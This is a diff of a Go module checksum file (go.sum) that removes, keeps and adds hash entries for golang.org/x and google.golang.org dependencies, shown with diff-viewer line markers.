golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
|
||||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
|
||||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||||
golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
|
||||||
golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
|
||||||
golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
|
|
||||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||||
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||||
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
|
||||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
|
||||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||||
golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
|
|
||||||
golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
|
||||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||||
@ -440,15 +179,7 @@ golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
|
|||||||
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
|
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
|
||||||
golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI=
|
golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI=
|
||||||
golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs=
|
golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs=
|
||||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
|
||||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
|
||||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
|
||||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||||
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
||||||
@ -456,34 +187,11 @@ golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
|||||||
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||||
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
|
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
|
||||||
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||||
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||||
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
|
||||||
golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
|
||||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||||
@ -507,11 +215,10 @@ golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
|
|||||||
golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
|
golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q=
|
||||||
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
|
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
|
||||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
|
||||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
|
||||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||||
|
golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=
|
||||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||||
golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
|
||||||
@ -519,95 +226,29 @@ golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
|||||||
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||||
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
|
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
|
||||||
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
||||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
|
||||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
|
||||||
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
||||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
||||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
|
||||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
|
||||||
golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
|
||||||
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
|
||||||
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
|
||||||
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
|
||||||
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||||
golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
|
||||||
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
|
|
||||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||||
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
|
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
|
||||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
|
||||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
|
||||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
|
||||||
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
|
|
||||||
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
|
|
||||||
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
|
|
||||||
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
|
|
||||||
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
|
|
||||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
|
||||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
|
||||||
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
|
||||||
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
|
|
||||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
|
||||||
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
